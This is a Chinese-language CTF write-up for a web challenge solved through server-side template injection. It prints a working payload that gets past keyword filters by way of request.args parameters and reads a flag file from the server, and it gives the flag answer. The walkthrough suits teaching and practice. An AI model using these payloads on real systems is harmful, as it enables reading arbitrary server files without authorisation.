1. 题目描述
打开链接,如图
点击Login和Rigister,都报错
但是有提示
指出了flag所在的位置,题目中直接能获取到的信息暂时就这么些了
2. 思路分析
既然告诉了我们flag文件的位置,那么要读取到这个文件,要么是任意文件下载,要么是命令注入。这里没有文件下载的接口,也没看到有任何外部输入,尝试扫描下:
发现存在/cgi-sys相关的借口,但是访问时发现报错:
说明此路不通。
网上查找资料发现题目中图片就给出了提示,可能是SSTI,试一下:
发现确实存在SSTI,那么这道题的思路就明确了:
利用SSTI读取flag文件中的内容
3. 解题过程
既然存在SSTI,我们试试常用的SSTI方法
试了下class,subclass,mro,常用方法都被过滤掉了,看能否找到一个没有被过滤的
request没过滤,那么我们考虑通过request.args的方式进行绕过,将class等被过滤的字符串设置成参数,传递给request.args,比如想要获取class,使用{{""[request.args.a]}}?a=__class__
那么我们现在需要读取文件/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
正常的SSTI应该是:
{{"".__class__.__mro__[2].__subclasses__[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}
利用request.args进行绕过就变成了:
{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
使用该请求,成功获取flag
flag为cyberpeace{24bc59019e22a893305a7496e638526f}
4. 总结
这道题考查的是SSTI的绕过(这个考查点的识别需要一定的知识积累)。SSTI也是非常灵活的一种注入方式,绕过方式很多,request算是常见的一种绕过手段,正好积累下经验